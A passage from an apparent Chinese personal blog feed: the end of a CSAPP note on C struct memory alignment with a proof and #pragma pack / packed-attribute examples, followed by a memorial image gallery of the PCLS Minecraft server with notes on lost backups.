class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mord mathnormal">i</span><span class="mord mathnormal">ze</span><span class="mclose">)</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.4444em;"></span></span><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span>：</p><p>已知规则 3 规定 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>S</mi><mi>i</mi><mi>z</mi><mi>e</mi></mrow><annotation encoding="application/x-tex">Size</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mord mathnormal">i</span><span class="mord mathnormal">ze</span></span></span></span> 是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>A</mi><mrow><mi>m</mi><mi>a</mi><mi>x</mi></mrow></msub></mrow><annotation encoding="application/x-tex">A_{max}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ma</span><span class="mord mathnormal mtight">x</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 的倍数。</p><p>同理，既然 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>S</mi><mi>i</mi><mi>z</mi><mi>e</mi></mrow><annotation encoding="application/x-tex">Size</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mord mathnormal">i</span><span class="mord mathnormal">ze</span></span></span></span> 是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>A</mi><mrow><mi>m</mi><mi>a</mi><mi>x</mi></mrow></msub></mrow><annotation encoding="application/x-tex">A_{max}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ma</span><span class="mord mathnormal mtight">x</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 的倍数，它也必然是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>A</mi><mi>j</mi></msub></mrow><annotation encoding="application/x-tex">A_j</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span> 的倍数。无论 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi></mrow><annotation encoding="application/x-tex">i</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span></span></span></span> 是多少，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi><mo>×</mo><mi>S</mi><mi>i</mi><mi>z</mi><mi>e</mi></mrow><annotation encoding="application/x-tex">i \times Size</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7429em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">i</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mord mathnormal">i</span><span class="mord mathnormal">ze</span></span></span></span> 依然是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>A</mi><mi>j</mi></msub></mrow><annotation encoding="application/x-tex">A_j</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span> 的倍数。故：<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>i</mi><mo>×</mo><mi>S</mi><mi>i</mi><mi>z</mi><mi>e</mi><mo stretchy="false">)</mo><mo>≡</mo><mn>0</mn><mspace></mspace><mspace width="0.4444em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333em"/><msub><mi>A</mi><mi>j</mi></msub><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(i \times Size) \equiv 0 \pmod{A_j}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">i</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mord mathnormal">i</span><span class="mord mathnormal">ze</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.4444em;"></span></span><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span>。</p></li><li><p>证明 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>O</mi><mi>j</mi></msub><mspace></mspace><mspace width="0.4444em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333em"/><msub><mi>A</mi><mi>j</mi></msub><mo stretchy="false">)</mo><mo>=</mo><mn>0</mn></mrow><annotation encoding="application/x-tex">O_j \pmod{A_j} = 0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.4444em;"></span></span><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span>：</p><p>这直接由规则 1（成员对齐规则）保证。</p><p>故：<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>O</mi><mi>j</mi></msub><mo>≡</mo><mn>0</mn><mspace></mspace><mspace width="0.4444em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333em"/><msub><mi>A</mi><mi>j</mi></msub><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O_j \equiv 0 \pmod{A_j}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.4444em;"></span></span><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span>。</p></li><li><p>结论将上述三项代入：</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>A</mi><mi>d</mi><mi>d</mi><mi>r</mi><mo stretchy="false">(</mo><mi>i</mi><mo separator="true">,</mo><mi>j</mi><mo stretchy="false">)</mo><mspace></mspace><mspace width="1em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333em"/><msub><mi>A</mi><mi>j</mi></msub><mo stretchy="false">)</mo><mo>=</mo><mo stretchy="false">(</mo><mn>0</mn><mo>+</mo><mn>0</mn><mo>+</mo><mn>0</mn><mo stretchy="false">)</mo><mspace></mspace><mspace width="1em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333em"/><msub><mi>A</mi><mi>j</mi></msub><mo stretchy="false">)</mo><mo>=</mo><mn>0</mn></mrow><annotation encoding="application/x-tex">Addr(i, j) \pmod{A_j} = (0 + 0 + 0) \pmod{A_j} = 0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">A</span><span class="mord mathnormal">dd</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mopen">(</span><span class="mord mathnormal">i</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span><span class="mclose">)</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:1em;"></span></span><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">0</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">0</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">0</span><span class="mclose">)</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:1em;"></span></span><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span></span></p><p>证明完毕。</p></li></ol><h1 id="packing"><a class="markdownIt-Anchor" href="#packing"></a> Packing</h1><p>有时为了节省内存空间，我们希望取消对齐要求，这时可以使用 <code>#pragma pack</code> 指令。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">pragma</span> pack(push, 1) <span class="comment">// 保存当前对齐状态，并设置新对齐为 1 字节</span></span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">PackedStruct</span> &#123;</span></span><br><span class="line">    <span class="type">char</span> a;</span><br><span class="line">    <span class="type">int</span> b;</span><br><span class="line">    <span class="type">char</span> c;</span><br><span class="line">&#125;;</span><br><span class="line"><span class="meta">#<span class="keyword">pragma</span> pack(pop)      <span class="comment">// 恢复之前的对齐状态</span></span></span><br></pre></td></tr></table></figure><table><thead><tr><th>成员变量</th><th>类型</th><th>大小</th><th>偏移量</th><th>内存区间</th></tr></thead><tbody><tr><td>a</td><td>char</td><td>1 字节</td><td>0</td><td>[0]</td></tr><tr><td>b</td><td>int</td><td>4 字节</td><td>1</td><td>[1, 2, 3, 4]</td></tr><tr><td>c</td><td>char</td><td>1 字节</td><td>5</td><td>[5]</td></tr></tbody></table><p>这样一个结构体占用的空间就是 6 字节，没有任何填充。</p><h1 id="attribute-packed"><a class="markdownIt-Anchor" href="#attribute-packed"></a> attribute packed</h1><p>GCC 也支持通过 <code>__attribute__((packed))</code> 来实现类似的效果：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> __<span class="title">attribute__</span>((<span class="title">packed</span>)) <span class="title">PackedStruct</span> &#123;</span></span><br><span class="line">    <span class="type">char</span> a;</span><br><span class="line">    <span class="type">int</span> b;</span><br><span class="line">    <span class="type">char</span> c;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>这样定义的结构体同样不会有填充字节，占用最小空间。</p>]]>
    </content>
    <id>https://blog.z0z0r4.top/2026/01/16/csapp/data-alignment/</id>
    <link href="https://blog.z0z0r4.top/2026/01/16/csapp/data-alignment/"/>
    <published>2026-01-16T05:26:17.000Z</published>
    <summary>
      <![CDATA[<p>关于内存对齐的记录。</p>]]>
    </summary>
    <title>CSAPP Data Alignment</title>
    <updated>2026-03-28T06:32:25.650Z</updated>
  </entry>
  <entry>
    <author>
      <name>z0z0r4</name>
    </author>
    <category term="daily-record" scheme="https://blog.z0z0r4.top/categories/daily-record/"/>
    <category term="games" scheme="https://blog.z0z0r4.top/categories/daily-record/games/"/>
    <category term="minecraft" scheme="https://blog.z0z0r4.top/categories/daily-record/games/minecraft/"/>
    <category term="daily-record" scheme="https://blog.z0z0r4.top/tags/daily-record/"/>
    <category term="games" scheme="https://blog.z0z0r4.top/tags/games/"/>
    <category term="minecraft" scheme="https://blog.z0z0r4.top/tags/minecraft/"/>
    <category term="PCLS" scheme="https://blog.z0z0r4.top/tags/PCLS/"/>
    <content>
      <![CDATA[<p>此处记录 PCLS 的一些图片和视频、和回忆。</p><span id="more"></span><blockquote><p>2026-01-24 更新：<br />坏消息，心碎了，对不起…<br />发现备份的存档里面少了 <code>world_nether</code>，我也不知道为什么会当时没备份进来。<br /><s>出生点这块的几个 region mca 文件都丢失了</s> 主世界仅留下 <code>region</code> 文件夹和 <code>level.dat</code>，同时随机丢失了大概一半的 region，7zip 报错文件末端错误，看来很可能是没压缩完就被中止了。<br />更坏的消息是，这个备份是关服前被炸成稀巴烂的…可能原来有更之前的备份被我删了，也可能当时压根就没有没炸的备份…<br />2026-02-09 更新：<br />Mr.yang 存了一份 6 月份的存档，虽然没有七月份的进度的。随之一起的还有一份一周目的存档 😄</p></blockquote><p>最近期末考完，清理无用的 QQ 收藏的时候，发现还有收藏了之前 PCLS 的图片，接着发现 PCLS 的存档归档里面还有一些当时的图片和视频。</p><p>考虑到当时的服务器的网站已经关掉了，趁我还有点记忆，就把这些图片和记录整理一下发出来，算是给 PCLS 或者我自己做个纪念吧。</p><blockquote><p>PCLS 是一个 PCL2 相关的 Minecraft 服务器，开始由龙腾猫越维护，后来是我和朋友在维护，后续又转交给了其他人。</p></blockquote><p>看了下日期已经是 2022 年的事情了，可惜我已经不记得具体开了多久了，从 4.1 到 7.30 都有图片记录。</p><p><s>原来我初三中考这段时间在这闹吗，活该没考上市一中啊…</s></p><blockquote><p>收藏于 2022-07-29</p><p>来源：群-PCLS|BOT滚|暑假快乐</p><p>发送者：<em>ltayshark_CN 你岛亚当</em></p></blockquote><h2 id="主城篇"><a class="markdownIt-Anchor" href="#主城篇"></a> 主城篇</h2><p><img src="/images/pcls-gallery/31673b39fabea4763a28b89f644525a0.jpg" alt="" /></p><p><img src="/images/pcls-gallery/b6947507641588e5c8acfbfe00a2de2e.jpg" alt="" /></p><p><img src="/images/pcls-gallery/a5a4bfc30e48904096cc994ab6da8821.jpg" alt="" /></p><p><img src="/images/pcls-gallery/7aaaf59e0091425e9393b2a770baf0fe.jpg" alt="" /></p><p><img src="/images/pcls-gallery/cc48de01cd6e9b46132e50815c65aaec.jpg" alt="" /></p><h2 id="长盛篇"><a class="markdownIt-Anchor" href="#长盛篇"></a> 长盛篇</h2><p><img src="/images/pcls-gallery/c6f82dfa50e923cda06bac96b012c78f.jpg" alt="" /></p><p><img src="/images/pcls-gallery/620b5b4d31ae9ba9487c6f05b5aca9ac.jpg" alt="" /></p><p><img src="/images/pcls-gallery/50781a9122a736107bbb392b834c0683.jpg" alt="" /></p><p><img src="/images/pcls-gallery/80a9c361b632ebc768dddc70c34b80ae.jpg" alt="" /></p><h2 id="awa-篇"><a class="markdownIt-Anchor" href="#awa-篇"></a> awa 篇</h2><blockquote><p><em>ltayshark_CN 你岛亚当 2022-07-29 20:58:12</em></p><p>（因为是自己家所以拍的比较多</p></blockquote><p><img src="/images/pcls-gallery/3f15c226750ba6fd4c809d7685452b5d.jpg" alt="" /></p><p><img src="/images/pcls-gallery/b66b0476253347432b58ae53329e8f3c.jpg" alt="" /></p><p><img src="/images/pcls-gallery/ee13ea1bc017a5dcba5109fafd50eb41.jpg" alt="" /></p><p><img src="/images/pcls-gallery/9795e848ac1c57db5bd1c309f59202ea.jpg" alt="" /></p><p><img src="/images/pcls-gallery/cee6b9f001eefa471f32ee947c11801e.jpg" alt="" /></p><p><img src="/images/pcls-gallery/9da2f09b02da49dc033eb8135bfe65e6.jpg" alt="" /></p><p><img src="/images/pcls-gallery/4c8df47a58a9783c650b10156e4589f3.jpg" alt="" /></p><p><img src="/images/pcls-gallery/0891cb7cc0473597464d9652153955b3.jpg" alt="" /></p><p><img src="/images/pcls-gallery/d16a9e61df327c684118893049d18c57.jpg" alt="" /></p><p><img src="/images/pcls-gallery/fa4fac19875786f3d7012fc89804897a.jpg" alt="" /></p><p><img src="/images/pcls-gallery/1ecaf8a5c517b1bd2c525f4aaa9bd236.jpg" alt="" /></p><p><img src="/images/pcls-gallery/e19409337a543769b2b2c1c13dd48de2.jpg" alt="" /></p><p><img src="/images/pcls-gallery/fd61aad913e030de08112d0db4a70d35.jpg" alt="" /></p><p><img src="/images/pcls-gallery/df0e10cd2c47815e349fb8a607e1b47b.jpg" alt="" /></p><p><img src="/images/pcls-gallery/6ef217c8b73f7258e7565f8c4357df58.jpg" alt="" /></p><p><img src="/images/pcls-gallery/adc72b410b14ae9fb6ea1ce1d91b0814.jpg" alt="" /></p><p><img src="/images/pcls-gallery/f5151fab23b8dfdf2636fb6449745a15.jpg" alt="" /></p><p><img src="/images/pcls-gallery/dcd6600c9d9401a41e72aa733f7e8681.jpg" alt="" /></p><p><img src="/images/pcls-gallery/3b991337f4a68b0b91eee09f0d1766c3.jpg" alt="" /></p><blockquote><p>awa岛补</p></blockquote><p><img src="/images/pcls-gallery/7df599d8786c74c7cbfe2e6cf8bb232c.jpg" alt="" /></p><p><img src="/images/pcls-gallery/b2f4dd24931db80b849e338d9ec72943.jpg" alt="" /></p><p><img src="/images/pcls-gallery/2ed46417e61fa5838f5e8a04b05ceb50.jpg" alt="" /></p><p><img src="/images/pcls-gallery/94b5877a46f7488ae367c45b61e47982.jpg" alt="" /></p><p><img src="/images/pcls-gallery/637f8b4f9e37b68060c78db3c232dc08.jpg" alt="" /></p><p><img src="/images/pcls-gallery/39de2538478eb76a8aaf461e8df90af4.jpg" alt="" /></p><p><img src="/images/pcls-gallery/5a13b50c4c9d0090de40a1e4abc522c9.jpg" alt="" /></p><p><img src="/images/pcls-gallery/f051c5c72453b98c15b8b66d368d0a6b.jpg" alt="" /></p><p><img src="/images/pcls-gallery/49a1090ea94549c3abb68a6e1a0cc151.jpg" alt="" /></p><p><img src="/images/pcls-gallery/0c0937b6f82f7bac8dce27d8ad4aa3b1.jpg" alt="" /></p><p><img src="/images/pcls-gallery/333d202a9de2b4ffbfddb1e319f65415.jpg" alt="" /></p><h2 id="qwq-篇"><a class="markdownIt-Anchor" href="#qwq-篇"></a> qwq 篇</h2><p><img src="/images/pcls-gallery/57e64c09e79a175327c38d3fc4caa770.jpg" alt="" /></p><p><img src="/images/pcls-gallery/93a7a2474ec5d813408148d9c4e33b2e.jpg" alt="" /></p><p><img src="/images/pcls-gallery/bdbf27c482e307f7203835c3d4c2f5c1.jpg" alt="" /></p><p><img src="/images/pcls-gallery/1a20ff6ea8e9039a6569bea0547307ec.jpg" alt="" /></p><p><img src="/images/pcls-gallery/b8646ed1146ec8c3ac5afa8e6ac0e3fa.jpg" alt="" /></p><h2 id="工业区篇"><a class="markdownIt-Anchor" href="#工业区篇"></a> 工业区篇</h2><p><img src="/images/pcls-gallery/eff4dd1a27f21593919cb607eb28bc6f.jpg" alt="" /></p><p><img src="/images/pcls-gallery/d4cd1b6de6f5b4ed701104fcc9d3128d.jpg" alt="" /></p><p><img src="/images/pcls-gallery/ea53fc0905410e2157a0c2d056a2628d.jpg" alt="" /></p><p><img src="/images/pcls-gallery/951647c73eb58826f5a5ce9c006fd03a.jpg" alt="" /></p><p><img src="/images/pcls-gallery/b42f45f75d866bba28b57ac9dba8ab85.jpg" alt="" /></p><p><img src="/images/pcls-gallery/efbc0304cb89977f97783ffcd1e785dc.jpg" alt="" /></p><p><img src="/images/pcls-gallery/50bea358fec140bcc54b7c8c99623448.jpg" alt="" /></p><p><img src="/images/pcls-gallery/3eeebd1507bb7adc31e516d83c471d0f.jpg" alt="" /></p><p><img src="/images/pcls-gallery/0cd7ee2152f70daff588a50eeb6fd0ed.jpg" alt="" /></p><p><img src="/images/pcls-gallery/3946acea260214719089aab3c837bb8d.jpg" alt="" /></p><p><img src="/images/pcls-gallery/107b95e5a4840a29312553cbacdc76d8.jpg" alt="" /></p><hr /><p>还有几张是我自己拍的，看起来当时还有合照欸，一并在这里放上来了。</p><p><img src="/images/pcls-gallery/2022-04-01_10.47.22.png" alt="2022-04-01_10.47.22" /><br /><img src="/images/pcls-gallery/2022-04-01_18.06.43.png" alt="2022-04-01_18.06.43" /><br /><img src="/images/pcls-gallery/2022-04-01_18.13.41.png" alt="2022-04-01_18.13.41" /><br /><img src="/images/pcls-gallery/2022-04-01_18.13.43.png" alt="2022-04-01_18.13.43" /><br /><img src="/images/pcls-gallery/2022-04-01_18.45.16.png" alt="2022-04-01_18.45.16" /><br /><img src="/images/pcls-gallery/2022-04-09_14.03.08.png" alt="2022-04-09_14.03.08" /><br /><img src="/images/pcls-gallery/2022-04-30_14.40.38.png" alt="2022-04-30_14.40.38" /><br /><img src="/images/pcls-gallery/2022-05-22_19.28.07.png" alt="2022-05-22_19.28.07" /><br /><img src="/images/pcls-gallery/2022-06-03_09.33.52.png" alt="2022-06-03_09.33.52" /><br /><img src="/images/pcls-gallery/2022-06-03_19.04.20.png" alt="2022-06-03_19.04.20" /><br /><img src="/images/pcls-gallery/2022-06-03_20.02.16.png" alt="2022-06-03_20.02.16" /><br /><img src="/images/pcls-gallery/2022-06-07_16.27.30.png" 